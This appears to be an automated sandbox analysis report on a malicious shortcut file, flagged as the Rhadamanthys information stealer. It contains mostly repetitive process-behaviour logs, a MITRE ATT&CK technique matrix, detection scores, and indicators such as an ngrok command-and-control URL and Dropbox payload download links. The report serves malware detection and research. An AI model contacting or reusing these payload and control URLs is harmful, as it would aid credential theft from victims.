Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\fontdrvhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000025.00000003.3117851872.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.3231480908.00000000035A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3125312167.0000000003590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3141369751.0000000003200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000025.00000003.3117851872.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.3231480908.00000000035A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3125312167.0000000003590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3141369751.0000000003200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	211 Process Injection	11 Masquerading	21 Input Capture	211 Security Software Discovery	Remote Services	21 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	211 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	132 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IIC0XbKFjS.lnk	21%	ReversingLabs	Win32.Trojan.Pantera
IIC0XbKFjS.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fefL	0%	Avira URL Cloud	safe
https://uc933af44167adf8e757221e8737.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/signin/chrome/sync?ssp=1	0%	Avira URL Cloud	safe
http://www.ubi.com	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/encryption/unlock/desktop	0%	Avira URL Cloud	safe
https://designerapp-int.azurewebsites.net/m	0%	Avira URL Cloud	safe
http://permanently-removed.invalid/v1/accountcapabilities:batchGet	0%	Avira URL Cloud	safe
https://uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com/cd/0/get/CgYlNqjno2Q-Rp0yKhEwnMe3y2Vm	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/GetCheckConnectionInfo	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/ListAccounts?json=standard	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/embedded/setup/kidsignin/chromeos	0%	Avira URL Cloud	safe
https://designerapp.azurewebsites.net/	0%	Avira URL Cloud	safe
http://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	0%	Avira URL Cloud	safe
https://uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com/cd/0/get/CgYlNqjno2Q-Rp0yKhEwnMe3y2Vm1cBWkCHEOdxILyldOOvhDq_F73BfWcj2OepMabX929Qs6cy6UKLVBGuxHE4RxgdhayfJSlGpkBN9OxnLSO_J-9uYGsTIBFp7wgR_i1_NeclMIqQwdafaowBoH9D6/file?dl=1	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/embedded/setup/chrome/usermenu	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/LogoutYxAB	0%	Avira URL Cloud	safe
https://uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com/cd/0/get/CgZlvlROW8KPvPAJVE7MmbVov7HeKaegjTEchtEO-5KwDOAtjbHByTtj1TZbqtUJm7xwQyJX1zSoHvBGUnqOwBh9c9P-UCKOGoyVqr6PmyQFgilrSR_hWNMlJwEA-6NDG4QU2Ep0ZagDQMloOqmGyT9K/file?dl=1	0%	Avira URL Cloud	safe
http://permanently-removed.invalid/	0%	Avira URL Cloud	safe
http://permanently-removed.invalid/).	0%	Avira URL Cloud	safe
https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef-UseBa	0%	Avira URL Cloud	safe
http://crl.microsoftX	0%	Avira URL Cloud	safe
https://go.microsoft.coJ.	0%	Avira URL Cloud	safe
https://uc933af44167adf8e757221e8737.dl.dropboxusercontent.com/cd/0/get/CgYWev4jMhkAuVqO31aNc_EtDvIC	0%	Avira URL Cloud	safe
https://designerapp-int.azurewebsites.net/	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/embedded/reauth/chromeos	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.210.172	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	3.125.102.39	true	false	high
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
www-env.dropbox-dns.com	162.125.65.18	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com	unknown	unknown	true	unknown
www.dropbox.com	unknown	unknown	false	high
uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uc933af44167adf8e757221e8737.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://tse1.mm.bing.net/th?id=OADD2.10239381795372_1FAN52Y1AD18QPYNG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239381247929_1ZNNB8S8KDEP0DTFO&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90	false		high
